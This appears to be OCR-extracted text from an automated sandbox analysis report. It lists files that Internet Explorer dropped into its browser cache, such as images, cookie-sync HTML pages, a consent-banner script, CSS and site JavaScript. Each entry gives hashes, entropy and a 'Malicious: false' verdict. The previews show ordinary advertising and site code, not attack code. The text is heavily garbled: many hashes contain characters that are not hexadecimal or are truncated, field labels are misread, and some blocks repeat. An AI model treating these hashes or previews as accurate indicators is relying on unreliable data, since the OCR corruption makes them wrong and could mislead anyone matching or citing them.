FF9E6116739F369DCCC69630DFC6E47F9701618B46C2F22EE283713D0CB018B15968F4C0C02D5C8651CD049F9328EC780B9CCAD775F604BC7D3138846D73260

false

.@...@...(.h.s..S.é.h......- P..h.-..n.w ..2hs@..

C:\Users\luser\AppData\Local\Microsoft\Windows\INetCachel\lE\B87Z87FM\BB116fUs[1].png

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1L:
SHA-256:
SHA-512:
Malicious:

Preview:

C:\Program Files (x86)\Internet Explorer\iexplore.exe

PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced

dropped

458

7.210742812446173

false

12:6v/7XBvDtGBGFqRb8EJY YKQfCtK3Ir3v98:UtDEBYVBE7k6V+F8
2343404EAEB895F56B8EA1C57104CC46
C3A894822DEB625BBEC44E58194DE48CDA7AL33F
CCABAA94321280B2F25C0937FC67E13227150D42A81DBCDF073DBC1F8BOF41D9
8953413DE432A1DECOE59A64316338FB699BAB2FFBB1FAG63ADI9CALEL31D4220C9005E446C8F2BAA737CE91174820258EFDI5B0361D9EDBBCD4108F7E090982

false
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C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\lE\B87Z87FM\BB14hq0P[1].jpg

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1L:
SHA-256:
SHA-512:

Malicious:

Preview:

C:\Program Files (x86)\Internet Explorer\iexplore.exe

JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 622x368, frames 3
dropped

19135

7.696449301996147

false

384:IHtFIzZAsGkT2tP9ah048vTWjczBRfCghSyOaWLxyAy3FN5GU643Ib1y6NO:INFIFTSEG46SjcbmaWLsR3FNY/Ayz
01269B6BB16F7D4753894C9DC4E35D8C

B3EBFE430E1BBCOC951F6B7FB5662FEB69F53DEE
D3E92DB7FBESDF1B9EA32892AD81853065AD2A68C80C50FB335363A5F24D227D

0AF92FBC8D3E06C3F82C6BA1DE0652706CA977EDI0EEBG664AE49DD4AADA3063119D194146F2B6D643F633D48AE7A841A14751F56CC41755B813B9C4A33B82E4!
C

false
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C:\Users\user\AppDatal\Local\Microsoft\Windows\INetCachellE\B87Z87FM\BB1cG73h[1].png

Process:

File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

C:\Program Files (x86)\Internet Explorer\iexplore.exe

PNG image data, 27 x 27, 8-bit/color RGBA, non-interlaced

dropped

1131

7.767634475904567

false
24:IGHOpUewXx5mbpLxMkes8rZDN+HFICwUntvB:JCY9xr4rZDEFC
D1495662336B0F1575134D32AF5D670A
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C:\Users\user\AppDatal\Local\Microsoft\Windows\INetCachellE\B87Z87FM\BB1cG73h[1].png

SHA1L: EF841C80BB68056D4EF872C3815B33F147CA31A8

SHA-256: 8AD6ADB61B38AFF497F2EEB25D22DB30F25DE67D97A61DC6B050BB40A09ACD76

SHA-512: 964EE15CDC096A75B03F04E532F3AASDCBCB622DESE4B7E765FBADES8FFI3F12C1B49A647DA945B38A647233256F90FB71E699F65EE289C8B5857A73A7TEGAA(
6

Malicious: false

Preview:

C:\Users\luser\AppData\Local\Microsoft\Windows\INetCache\lE\B87Z87FM\BB7hjL[1].png

Process: C:\Program Files (x86)\Internet Explorer\iexplore.exe

File Type: PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category: dropped

Size (bytes): 462

Entropy (8bit):  7.383043820684393

Encrypted: false

SSDEEP: 12:6v/7FMgLOKPV1ALxcVgmgMEBXu/+vVWIIMhZkdjWu+7cW1T4:kMgoyocsOmIZII+7cW1T4

MDS5: F810C713C84F79DBB3D6E12EDBCD1A32

SHA1L: 09B30AB856BFFDB6AABEO9072AEF1F6663BA4B86

SHA-256: 6E3B6C6646587CC2338801B3E3512F0C293DFF2F9540181A02C6A5C3FEL525A2

SHA-512: 236A88BD0O5SEAF210F0B61F2684C08651529C47AA7DCBCD3575B067BEDCALFBEE72E260441B4EAD45ABE32354167F98521601EA21DDF014FF09113EC4C0DID7!
8

Malicious: false

Preview:
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C:\Users\luser\AppData\Local\Microsoft\Windows\INetCache\lE\B87Z87FM\BBJrli1[1].png

Process: C:\Program Files (x86)\Internet Explorer\iexplore.exe

File Type: PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced

Category: dropped

Size (bytes): 285

Entropy (8bit):  6.817753121237528

Encrypted: false

SSDEEP: 6:6v/IhPahmCsuNR/8GxYbli9BfLINNOIgpmPuoEGXn1S/NmredEGWcqp:6v/7wz0Gx2v8lgpmn1GDdgp
MD5: 815BC0B491D1C2229AA6AF07F213CAB5

SHA1: E7F9F38CEGE310209CEC1F291D398AA499CFB64D

SHA-256: 2705097C373E4DE9A34E02C575A3D86854FCDD08365DA79F93525E68F562917A

SHA-512: 3B87F4003BE22584D59B301C89FESB0O9E16B27126E3ABE90CADCFD8AB94052A17AEFE7D75443151A48757031033A92077BA603BE01E1A199BC8727B8E0593DCS
Malicious: false

Preview:

{..U)$....0gF.3..F].8C.I...K..FL0.4..2

C:\Users\luser\AppDatal\Local\Microsoft\Windows\INetCachellE\B87Z87FM\a5ea21[1].ico

Process: C:\Program Files (x86)\Internet Explorer\iexplore.exe

File Type: PNG image data, 32 x 32, 8-bit/color RGB, non-interlaced

Category: dropped

Size (bytes): 758

Entropy (8bit):  7.432323547387593

Encrypted: false

SSDEEP: 12:6v/792/6 TCfasyRmQ/iyzH48qyNkWCj7ev50C5qABOTo+CGB++yg43gX4b9uTmMI:F/6easyD/iCHLSWWqyCoTTdTc+yhaX4v

MD5: 84CC977D0EB148166481B01D8418E375

SHAL: 00E2461BCD67D7BA511DB230415000AEFBD30D2D

SHA-256: BBF8DA37D92138CCO8FFEEC8E3379C334988D5AE99F4415579999BFBBB57A66C

SHA-512: FA7A507077F9173FB0O7EC200C2677BA5F783D645BE100F12EFE71F701A74272A98E853C4FAB63740D685853935D545730992D0004C9D2FESE1965445CAB509C3

Malicious: false

Preview:
PNG.......IHDR... ... cevoreveen. PHYS..ooovreee. VPAG... .. v eIDATH...0.@../.MT..KY..PI9~ . :UjS..T."P.(R.PZ.KQZ.S. ....v2.A...9/t...K.;_}....~.gK.i.;.B..2.".C..B.......<
CBu)e. . >WL.%B. {.d..LCgz. j.7TD*M*............. "HK..j%.IDOf7......C.]._Z.f+.1.1+.;.Mf...L:Vhg.[.. ..O:..1.a....F..S.D...8<n.V.7M....cY@......4.D.kn%.e. A.@
IA.>\.Q|.N.P........ <.l..ip..y.U..J..9..R.mgpjwn.f4$. X.E.1.T...2..... wz..U..../[...Z..(DB.B(....-........ B.=m.3...X.p..Y...Ww.<....8.3.;0..(.l.A.6fg.xF.7h.Gmq
|.e..0Z_Z..X..0F.......... X..=Y}.,jT..R.....72w/...Bh..5..C...2.06"........ 8@A..."zTXtSoftware..x.sL.OJU..MLO.JML.../.....M.....END.B".

C:\Users\user\AppDatal\Local\Microsoft\Windows\INetCachellE\B87Z87FM\a8a064[1].gif

Process: C:\Program Files (x86)\Internet Explorer\iexplore.exe
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C:\Users\user\AppDatal\Local\Microsoft\Windows\INetCachellE\B87Z87FM\a8a064[1].gif

File Type: GIF image data, version 89a, 28 x 28
Category: dropped
Size (bytes): 16360

Entropy (8bit):  7.019403238999426

Encrypted: false

SSDEEP: 384:92SEiHys4AeP/6ygbkUZp72i+ccys4AeP/6yghkUZaoGBm:g2Tjs4Ae36kOpgi+c/s4Ae36kOaoGm

MD5: 3CC1C4952C8DC47B76BE62DCO76CE3EB

SHA1L: 65F5CE29BBC6EOCO7C6FECIBI6884E38A14A5979

SHA-256: 10E48837F429E208A5714D7290A44CD704DD08BF4690F1ABA93C318A30C802D9

SHA-512: 5CC1E6FIDACA9CEAB56BD2ECEEB7A523272A664FESEE4BBOADASAFI83BA98DBABECF3848390DF65DA929A954AC211FF87CE4DBFDC11F5DFOC6E3FEABAST
40EF7

Malicious: false

Preview:
GIF89a....... dbd. eeent108.°(diD LD,
Qa3 “(dithuv... A<
.B'%.di.h..l.p,.]S... FRURPPRURRPRRIN = 36X [ o 01 s N /-0
LEBL#LLNLL o T..%...@.UH...z.n...
Inl........ Ijl.....dfd...........

C:\Users\luser\AppData\Local\Microsoft\Windows\INetCache\lE\B87Z87FM\cfdbd9[1].png

Process: C:\Program Files (x86)\Internet Explorer\iexplore.exe

File Type: PNG image data, 27 x 27, 8-bit/color RGBA, non-interlaced

Category: dropped

Size (bytes): 740

Entropy (8bit): 7.552939906140702

Encrypted: false

SSDEEP: 12:6v/70MpfkExg1JOT5FINRIYX1TEdLh8vI542irJQ5nnXZkCa0j0cMgL17jXGW:HMuXKk5RWT TEovnOAXZMitL9aw
MD5: FE5E6684967766FF6A8AC57500502910

SHA1L: 3F660AA0433C4DBB33C2C13872AA5A95BC6D377B

SHA-256: 3B6770482AF6DA488BD797AD2682C8D204ED536D0D173EE7BB6CEB0D479A2EAT

SHA-512: AF9F1BABF872CBF76FC8C6B497E70F07DF1677BB17A92F54DC837BC2158423B5BF1480FF20553927ECA2E3F57D5E23341E88573A1823F3774BFF8871746FFA51
Malicious: false

Preview:

tEXtSoftware.Adobe Fireworks CS6......tEXtCreation Time.07/21/16.~y....<IDATH..;k.Q....;.;..&. #...4..2...

R 1.&.$.ml..1L.$M.F3.}W,e.%..X.,..c..0.*V...W.=0.uv.X...C...3"...5....Cco0rurrrrnn 2]EO....M..N..[..]5.&...0.Z25]H....df ...I...
Ueiuy.8"..5..00 0 Zu 0.t..G."..3.H..Y...3.G..v.T.a&K ..., T\[L.E..2. .. D........ M..9...ek.kP.A."2.... k...D.}.\...V%.\..vIM..3.1....8.S.P.........9...y[.<..9...
.Rel.-@..... +.a.*x..0....Y.m.1.N.I.V."..;.V.a.3.U....,.1c.-.J<.gq.m-1..d.A.d." .4 k..i......SL....IEND.B".

C:\Usersl\user\AppData\Local\Microsoft\Windows\INetCachellE\B87Z87FM\checksync[2].htm

Process: C:\Program Files (x86)\Internet Explorer\iexplore.exe

File Type: HTML document, ASCII text, with very long lines

Category: dropped

Size (bytes): 27135

Entropy (8bit): 5.33237304261757

Encrypted: false

SSDEEP: 384:pBNY7cAGcVXIblcgnzleZS57naMh6eg2f5ng1h7/V99qQWwY4RXrqt:p/r86ghbc2Rsh7/VIgQWwY4RXrqt

MD5: 2C50DB6096770441093C246D675D2E89

SHA1L: 67C562A49E8C20A9C184FB158111B3DD4C3BD8FF

SHA-256: 303267EF7E63A88E2D2F0856D259E796F2ED213D3DB4D4B5240B11915C6EEE4F

SHA-512: 4B9F81C3995875D252D26 FE69EGE60C649A52BA06734E693A1C90AD72F62987F44651B3F52878D4BC45ED8F342B5C160B527BDA0741539A3ED0OBDOB2E3E9EDY

Malicious: false

Preview:
<html> <head></head> <body> <script type="text/javascript">try{.var cookieSyncConfig = {"datalen":82,"visitor":{"vsCk":"visitor-id","vsDaCk":"data","sepVal":"|","sepTime"
" "sepCs™:"~~","vsDaTime":31536000,"cc":"ZA","zone":"d"},"cs":"1","lookup":{"g":{"name":"g","time":14,"cookie":"data-g","urls":[{"type":"img", "url":"https:\\/cm.g.dou

bleclick.netVpixel?cs=1&google_nid=media&google_cm=1&google_hm=<ench64vsid>&google_sc=1"}],"pvid":77,"isBI":0,"g":1,"cocs":0},"bs":{"name":"bs","time":364,"coo
kie":"data-bs","urls":[{"type":"img","url":"https:VV/x.bidswitch.netV/sync?ssp=medianet&gdpr=${GDPR}&gdpr_consent=${GDPR_CONSENT}&gdpr_pd=1"}],"pvid":109,"isBI
":0,"g":1,"cocs":0},"vzn":{"name™:"vzn","time":365,"cookie":"data-v","urls":[{"type":"img","url":"https:V\/contextual. media.net\/cksync.php?cs=1&type=vzn&ovsid={{APID}}&
redirect=https%3A%2F%2Fpixel.advertising.com%2Fups%2F58222%2Fsync%3F_origin%3D1%26uid%3D%24UID"}],"pvid":184,"isBI":0,"g":0,"cocs":0},"brx":{"name":"b
rx","time":365,"cook

C:\Users\user\AppDatal\Local\Microsoft\Windows\INetCachellE\B87Z87FM\checksync[3].htm

Process: C:\Program Files (x86)\Internet Explorer\iexplore.exe

File Type: HTML document, ASCII text, with very long lines

Category: dropped

Size (bytes): 27135

Entropy (8bit): 5.33237304261757

Encrypted: false

SSDEEP: 384:pBNY7cAGcVXIblcgnzleZS57naMh6eg2f5ng1h7/V99qQWwY4RXrqt:p/r86ghbc2Rsh7/VIgQWwY4RXrqt
MD5: 2C50DB6096770441093C246D675D2E89
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C:\Users\user\AppDatal\Local\Microsoft\Windows\INetCachellE\B87Z87FM\checksync[3].htm

SHA1L:

SHA-256:
SHA-512:
Malicious:

Preview:

67C562A49E8C20A9C184FB158111B3DD4C3BD8FF
303267EF7E63A88E2D2F0856D259E796F2ED213D3DB4D4B5240B11915C6EEE4F
4B9F81C3995875D252D26FEG9EGEG0C649A52BA06734E693A1C90AD72F62987F44651B3F52878D4BC45ED8F342B5C160B527BDA0741539A3EDOBDOB2E3E9EDY

false
<html> <head></head> <body> <script type="text/javascript">try{.var cookieSyncConfig = {"datalen":82,"visitor":{"vsCk":"visitor-id","vsDaCk":"data","sepVal":"|","sepTime"
" "sepCs™:"~~","vsDaTime":31536000,"cc":"ZA","zone":"d"},"cs":"1","lookup":{"g":{"name™:"g","time":14,"cookie":"data-g","urls":[{"type":"img", "url":"https:\\\cm.g.dou

bleclick.netVpixel?cs=1&google_nid=media&google_cm=1&google_hm=<encb64vsid>&google_sc=1"}],"pvid":77,"isBI":0,"g":1,"cocs":0},"bs":{"name":"bs","time":364,"coo

kie":"data-bs","urls":[{"type":"img","url":"https:\/\/x.bidswitch.net\/sync?ssp=medianet&gdpr=${GDPR}&gdpr_consent=${GDPR_CONSENT}&gdpr_pd=1"}],"pvid":109,"isBI
":0,"g":1,"cocs":0},"vzn":{"name":"vzn","time":365,"cookie":"data-v","urls":[{"type":"img","url":"https:V\/contextual. media.net\/cksync.php?cs=1&type=vzn&ovsid={{APID}}&
redirect=https%3A%2F%2Fpixel.advertising.com%2Fups%2F58222%2Fsync%3F_origin%3D1%26uid%3D%24UID"}],"pvid":184,"isBI":0,"g":0,"cocs":0},"brx":{"name":"b

rx","time":365,"cook

C:\Users\luser\AppData\Local\Microsoft\Windows\INetCache\lE\B87Z87FM\checksync[4].htm

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHAL:
SHA-256:
SHA-512:
Malicious:

Preview:

C:\Program Files (x86)\Internet Explorer\iexplore.exe

HTML document, ASCI!I text, with very long lines

dropped

27135

5.33237304261757

false
384:pBNY7cAGcVXIblcgnzleZzS57naMh6eg2f5ng1h7/V99qQWwY4RXrqt:p/r86ghbc2Rsh7/V/gQWwY4RXrqt
2C50DB6096770441093C246D675D2E89

67C562A49E8C20A9C184FB158111B3DD4C3BD8FF
303267EF7E63A88E2D2F0856D259E796F2ED213D3DB4D4B5240B11915C6EEE4F
4B9F81C3995875D252D26FE69EGE60CE49A52BA06734E693A1CI0AD72F62987F44651B3F52878D4BC45ED8F342B5C160B527BDA0741539A3ED0BDOB2E3E9EDY

false

<html> <head></head> <body> <script type="text/javascript">try{.var cookieSyncConfig = {"datalen":82,"visitor":{"vsCk":"visitor-id","vsDaCk":"data","sepVal":"|","sepTime"
" "sepCs":"~~","vsDaTime":31536000,"cc":"ZA","zone":"d"},"cs":"1","lookup":{"g":{"name":"g", "time":14,"cookie":"data-g","urls":[{"type":"img","url":"https:\\V\ecm.g.dou
bleclick.netV/pixel?cs=1&google_nid=media&google_cm=1&google_hm=<ench64vsid>&google_sc=1"}],"pvid":77,"isBI":0,"g":1,"cocs":0},"bs":{"name":"bs","time":364,"coo
kie":"data-bs","urls":[{"type":"img","url":"https:VV/x.bidswitch.netVsync?ssp=medianet&gdpr=${GDPR}&gdpr_consent=${GDPR_CONSENT}&gdpr_pd=1"}],"pvid":109,"isBI
":0,"g":1,"cocs":0},"vzn":{"name":"vzn","time":365,"cookie":"data-v","urls":[{"type":"img","url":"https:\\/contextual.media.netV/cksync.php?cs=1&type=vzn&ovsid={{APID}}&
redirect=https%3A%2F%2Fpixel.advertising.com%2Fups%2F58222%2Fsync%3F_origin%3D1%26uid%3D%24UID"}],"pvid":184,"isBI":0,"g":0,"cocs":0}, "brx":{"name":"b

rx","time":365,"cook

C:\Users\luser\AppData\Local\Microsoft\Windows\INetCache\lE\B87Z87FM\checksync[5].htm

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1L:
SHA-256:
SHA-512:
Malicious:

Preview:

C:\Program Files (x86)\Internet Explorer\iexplore.exe

HTML document, ASCII text, with very long lines

dropped

27135

5.33237304261757

false
384:pBNY7cAGcVXIblcgnzleZS57naMh6eg2f5ng1h7/V99qQWwY 4R Xrqt:p/r86ghbc2Rsh7/VIgQWwY4RXrqt
2C50DB6096770441093C246D675D2E89

67C562A49E8C20A9C184FB158111B3DD4C3BD8FF
303267EF7E63A88E2D2F0856D259E796F2ED213D3DB4D4B5240B11915C6EEE4F
4B9F81C3995875D252D26FE69EGEG0C649A52BA06734E693A1C90AD72F62987F44651B3F52878D4BCA45ED8F342B5C160B527BDA0741539A3ED0BDOB2E3E9EDY

false
<html> <head></head> <body> <script type="text/javascript">try{.var cookieSyncConfig = {"datalen":82,"visitor":{"vsCk":"visitor-id","vsDaCk":"data","sepVal":"|","sepTime"
"+ "sepCs":"~~","vsDaTime":31536000,"cc":"ZA","zone":"d"},"cs":"1", "lookup":{"g":{"name":"g","time":14,"cookie":"data-g","urls":[{"type":"img","url":"https:\\/cm.g.dou

bleclick.netVpixel?cs=1&google_nid=media&google_cm=1&google_hm=<ench64vsid>&google_sc=1"}],"pvid":77,"isBI":0,"g":1,"cocs":0},"bs":{"name":"bs","time":364,"coo
i ata-bs","urls™:[{"type":"img","url":"https:\/V/x.bidswitch.net\/sync?ssp=medianet&gdpr=${GDPR}&gdpr_consent=${GDPR_CONSENT}&gdpr_pd=1"}],"pvid":109,"isBI
":0,"g":1,"cocs":0},"vzn":{"name":"vzn","time":365,"cookie":"data-v","urls":[{"type":"img","url":"https:V\/contextual.media.net\/cksync.php?cs=1&type=vzn&ovsid={{APID}}&

redirect=https%3A%2F%2Fpixel.advertising.com%2Fups%2F58222%2Fsync%3F_origin%3D1%26uid%3D%24UID"}],"pvid":184,"isBI":0,"g":0,"cocs":0},"brx":{"name":"b

rx","time":365,"cook

C:\Users\user\AppDatal\Local\Microsoft\Windows\INetCachellE\B87Z87FM\cksync[1].gif

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:
SHA-256:
SHA-512:

Malicious:

C:\Program Files (x86)\Internet Explorer\iexplore.exe

GIF image data, version 87a, 1 x 1

dropped

45

3.3268935851616335

false

3:M3+PQ7IRHpsO:nQ7I/sO

99CCECEAED4D575484B69DDAF9EDG6A7
1E3A3B15296B585833A22D987A387AA58AA1642D
832F63F4187160C195B04F1911C2E623A75E805F4B23ABBIBOBEA214B4283A43

AFDOB986E4EC7731248127B536E01653CE549FACA454368DF2C928540BCAEA302739CESEF37D01EDD3764C93AE38D799D7CCA458AF4308D49BE93FB3637FF79E/
F

false
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C:\Users\user\AppDatal\Local\Microsoft\Windows\INetCachellE\B87Z87FM\cksync[1].gif

Preview:
GIF87a............. Lo R L.;

C:\Users\user\AppDatal\Local\Microsoft\Windows\INetCachellE\B87Z87FM\http___cdn.taboola.com_libtrc_static_thumbnails_42912d3264942cf3a1683ef8
5b453901[1].jpg

Process: C:\Program Files (x86)\Internet Explorer\iexplore.exe

File Type: JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, progressive, precision 8, 207x311, frames 3
Category: dropped

Size (bytes): 10194

Entropy (8bit):  7.956878627849027

Encrypted: false
SSDEEP: 192:6YbWH5U4Z9FkhfoWVJa5Y hp8OfOL2XQvctR4ptG/Rtw:6YaH5U4kfo+Juu80ccn4p4l
MDS5: 3D9A263D5614F3FO0EAFB160258950C15
SHA1L: B7864290F7ABBA89BD316D924CBFB580BFE2EF32
SHA-256: 81A01378FB3A305C198DD268B25665CA0929ABA752E6A6814D3C283F258B06FE
SHA-512: AC0013191E0A77E05F9591543D1CF7E74B6917A7CAE861F580E337E804834A2F37078D74C00AC2FE4A76AFFICED83AFD004019B7D2B95B05SEB69A31F482E1F0:
Malicious: false
Preview:
...... %9011 (5))GET:ESIJSIc. .. %!(LI(5))LE7:ESJJSici........7T....
. Um. Q3...K7#M..cN.wP...R..1.-.._.I$W..b._....~...".Hv.. ..g#u..6?Ust7uS..cDJ/Ue..f.u.....>. . . .s..(..a..L.*U..>XeU

4e*x.a.S....QhQ{..s..y...a..m6.k...0Y...;.'\N.z..Tg....J...}.S.. ,W...2n.. .9S....S.@Y..R..vxB....c.z.zM...,.d._..c..tV. X.&.2.F\Q@n....... ..Ceeer)90.MLLKW._y.w.?Y..
.R2.&.>..IC....B..(mB0.Bs..}v.hW..._CAFI-..,.g....5.u7}...%V%B..~...rWY.|.V... }37<].\..ou..HW...V....[2@360 &.p...<m%.r]...f....&p.n.x.
.Q.ah../.Wa.u..0.......M#.. 4. V.S }.;[l.[F).UXW..~;T...D.x.WM.Q{........G..4 K@d.LY.4VxsY.0...\.#$5.y.L.Cb.e.V>w.uj.K..u%..*>su..l.

.~ufs..
...W3...B,.

C:\Users\luser\AppDatal\Local\Microsoft\Windows\INetCachellE\B87Z87FM\otBannerSdk[1].js

Process: C:\Program Files (x86)\Internet Explorer\iexplore.exe

File Type: ASCII text, with very long lines, with CRLF line terminators

Category: dropped

Size (bytes): 374818

Entropy (8bit):  5.338137698375348

Encrypted: false

SSDEEP: 3072:axBt4stoUf3MiPnDXOFvxYyTcwY+0iHeNUQW2SzDZ Tpl1L:NUfbPnDXOFvxYyY+Oi+yQW2CDZTn1L
MD5: 2E5F92E8C8983AA13AA99F443965BB7D

SHAL: D80209C734F458ABA811737C49EOALEAF75F9BCA

SHA-256: 11D9CC951D602A168BD260809BOFA200D645409B6250BD8E8996882EBE3F5A9D

SHA-512: AB99BEC040B1089286F9F258343E012EC2466877CC3CID3DFEFID00591C88F976B44D9795E243C7804B62FDC431267E1117C2D42D4B73B7E879AEFB1256C644E
Malicious: false

Preview:

/** .. * onetrust-banner-sdk.. * v6.13.0.. * by OneTrust LLC.. * Copyright 2021 .. */..!function(){"use strict";var o=function(e,t){return(o=Object.setPrototypeOf||{__proto__:[]}in
stanceof Array&&function(e,t){e.__proto__=t}||function(e,t){for(var o in t)t.hasOwnProperty(o)&&(e[o]=t[o])})(e,t)};var r=function(){return(r=Object.assign||function(e){for(var
t,0=1,n=arguments.length;o<n;o++)for(var r in t=arguments[o])Object.prototype.hasOwnProperty.call(t,r)&&(e[r]=t[r]);return e}).apply(this,arguments)};function a(s,i,l,a){ret
urn new(I=l||Promise)(function(e,t){function o(e){try{r(a.next(e))}catch(e){t(e)}}function n(e){try{r(a.throw(e))}catch(e){t(e)}}function r(t){t.done?e(t.value):new I(function(e){e
(t.value)}).then(o,n)}r((@=a.apply(s.i||[])).next())})}unction d(o,n){var r,s,i,e,|I={label:0,sent:function(){if(1&i[0])throw i[1];return i[1]},trys:[],ops:[]};return e={next:t(0),throw:t(1)
Jreturn:t(2)},"function"==typeof Symbol&&(e[Symbol.iterator]=function(){return this}),e;function t(t

C:\Users\user\AppDatal\Local\Microsoft\Windows\INetCache\IEINUEPGTR9\2a816201-f959-4e73-b937-c8856613c1b1[1].jpg

Process: C:\Program Files (x86)\Internet Explorer\iexplore.exe

File Type: JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, baseline, precision 8, 300x300, frames 3
Category: dropped

Size (bytes): 73507

Entropy (8bit):  7.978214291440149

Encrypted: false

SSDEEP: 1536:9Z/pYRbICOKNW(+LLIfqtvD02s1HS6ENeGdeoVi:QnWrctrO3HSlemeoVi

MD5: F1302E918DDAEB604E79EEC3194BD90F

SHAL: FC772F1E9E1023CD9D5AB7086192AA27D11E78F3

SHA-256: AD4D7FEA6DFA506737B03FC684B785FC6D19B5777C8536E327EA0BOA94B43A32

SHA-512: 518B2B62784E644BD422FB39E97F701F03C7799CF8B44FE3B26246CF7D3590B08D717FBC98B912539DCD2FF8774C26132868F0451C9A018BA1EB4662061094D4
Malicious: false

Preview:

?..C...GO..E M...&. <..Azl....em.4

@

#Q.2aq$B..3....%R....Cb.4r..5FSUc. . #BR...3br.$..CDS 2. .
...._Ble.$.igq.._.TM..4"1Ix.{..CLi.Q.wY.h.tG......... bVIz=@.1..kZhO....9%lIS.....F.(.S..y......Y...3..sD....Z5).|.W.\Lj....n.x.4\ .X.;. E..".v.._.$...0"Q....%...h...bSD.eW..a{..Ga
5..1.LMI1AL......./.<0..Q....ug[..E.1.Ib..M....R.... oW, D 1L.TK.E........).5rH..hI".G2....S.I.W...dc, pb.#..v..OQ*E..W;)"L...\.u.6... ] #./....U...m..qe..7.kP.L.F.@...M

Jl~ZA4L L BV Z %0 e ). %.B > T KLLLSV.Q. . )2.pw...Y..eX0.}.....;9....r.0.....U.L.D...&.

C:\Users\user\AppDatal\Local\Microsoft\Windows\INetCache\IEINUEPGTR9\2d-0e97d4-185735b[1].css
Process: C:\Program Files (x86)\Internet Explorer\iexplore.exe

File Type: UTF-8 Unicode text, with very long lines, with CRLF, LF line terminators
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C:\Users\user\AppDatal\Local\Microsoft\Windows\INetCache\lIEINUEPGTR9\2d-0e97d4-185735b[1].css
Category: dropped

Size (bytes): 251398

Entropy (8bit):  5.2940351809352855

Encrypted: false

SSDEEP: 3072:FaPMULTAHEKkmM80OUdvUVJIZkraq7pjD4tQH:FaOULTAHLOUdvwZkrqq7pjD4tQH

MDS5: 24D71CC2CC17F9EOF7167D724347DBA4

SHA1L: 4188B4EE11CFDC8EAOSE7DA7F475F6A464951E27

SHA-256: 4EF29E187222C5E2960E1E265C87AA7DA7268408C3383CC3274D97127F389B22

SHA-512: 43CF44624EF76F5B83DE10A2FB1C27608A290BC21BF023A1BFDB77B2EBB4964805C8683F82815045668A3ECCF2F16A4D7948C1C5AC526AC71760F50C82AADE:
B

Malicious: false

Preview:

[*! Error: C:/a/l_work/1/s/Statics/WebCore.Statics/Css/Modules/ExternalContentModule/Uplevel/Base/externalContentModule.scss(207,3): run-time error CSS1062: Expe
cted semicolon or closing curly-brace, found ‘@include.multiLineTruncation' */....@charset "UTF-8";div.adcontainer iframe[width="1"|{display:none}span.nativead{font-weigh
1:600;font-size:1.1rem;line-height:1.364}div:not(.ip) span.nativead{color:#333}.todaymodule .smalla span.nativead,.todaystripe .smalla span.nativead{bottom:2rem
;display:block;position:absolute}.todaymodule .smalla a.nativead .title,.todaystripe .smalla a.nativead .tittle{max-height:4.7rem}.todaymodule .smalla a.nativead .caption,
.todaystripe .smalla a.nativead .caption{padding:0;position:relative;margin-left:11.2rem}.todaymodule .mediuma span.nativead,.todaystripe .mediuma span.nativead
{bottom:1.3rem}.ip a.nativead span:not(.title):not(.adslabel),.mip a.nativead span:not(_.title):not(.adslabel){display:block;vertical-align:top;color:#a0a0a0}.ip a.nativead
.captio

C:\Users\luser\AppData\Local\Microsoft\Windows\INetCache\IE\NUEPGTR9\52-478955-68ddb2ab[1].js

Process: C:\Program Files (x86)\Internet Explorer\iexplore.exe

File Type: UTF-8 Unicode text, with very long lines, with no line terminators

Category: dropped

Size (bytes): 397470

Entropy (8bit): 5.3243063622496525

Encrypted: false

SSDEEP: 6144:YXPIM/WSg/Ms1I1Kb4K7hmnidHWP(qIjHSja3Cr1BgxO0DkV4FcjtluNK:CW/dcnidHWPqljHdi16thcjut

MD5: 9D766F4A32590647C9378BCEIB370BC3

SHA1L: D0328B82BOF75E3DC87A039D53A710D593E068CF

SHA-256: 950BB86AB57D21B1A8C2DFD51A355B4DD5C76C3A2CF557EEBAS8BODBC66FE2E4

SHA-512: 01CDE8BD19DAEDSEFC41E429CC7AF5AB2BE6D2182B07781BADEE6F13615213E0A93C2E6CF34FES0BCC2702FA81ADEBAO3C265B852DCDF603448B9E2406DF,
C5C

Malicious: false

Preview:

var awa,behaviorKey,Perf,globalLeft, Gemini, Telemetry,utils,data, MSANTracker,deferredCanary,g_ashsC,g_hsSetup,canary;window._perfMarker&&window._perfMa
rker("TimeToJsBundleExecutionStart");define("jgBehavior",["jquery","viewport"],function(n){return function(t,i,r){function u(n){var t=n.length;return t>1?function(){for(var
i=0;i<t;i++)n[i]()}:t?n[0]:fifunction f(){}if(typeof t'="function")throw"Behavior constructor must be a function”;if(i&&typeof i'="object")throw"Defaults must be an object or nu
II;if(r&&typeof r'="object")throw"Exclude must be an object or null*;return r=r||{},function(f,e,0){function c(n){n&&(typeof n.setup=="function"&&l.push(n.setup),typeof
n.teardown=="function"&&a.push(n.teardown),typeof n.update=="function"&&v.push(n.update))}var h;if(o&&typeof o!="object")throw"Options must be an object or null*;var

s=n.extend(!0,{},i,0),I=[],a=[],v=[],y='0;if(r.query){if(typeof fI="string")throw"Selector must be a string";c(t(f,s))}else h=n(f,e),r.each?c(t(h,s)):(y=h.length>0,

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NUEPGTR9\AA6WTdK[1].png

Process: C:\Program Files (x86)\Internet Explorer\iexplore.exe

File Type: PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced

Category: dropped

Size (bytes): 550

Entropy (8bit):  7.444195674983303

Encrypted: false

SSDEEP: 12:6v/7jGhB1J/EfQCF2bAVNVYxZxdgQ+Jly9XD5hb6Fg9a6:ZJOf0APgfG+oloFgc6
MD5: 6468CE276C808DA186AEF8AAL0ABSDCC

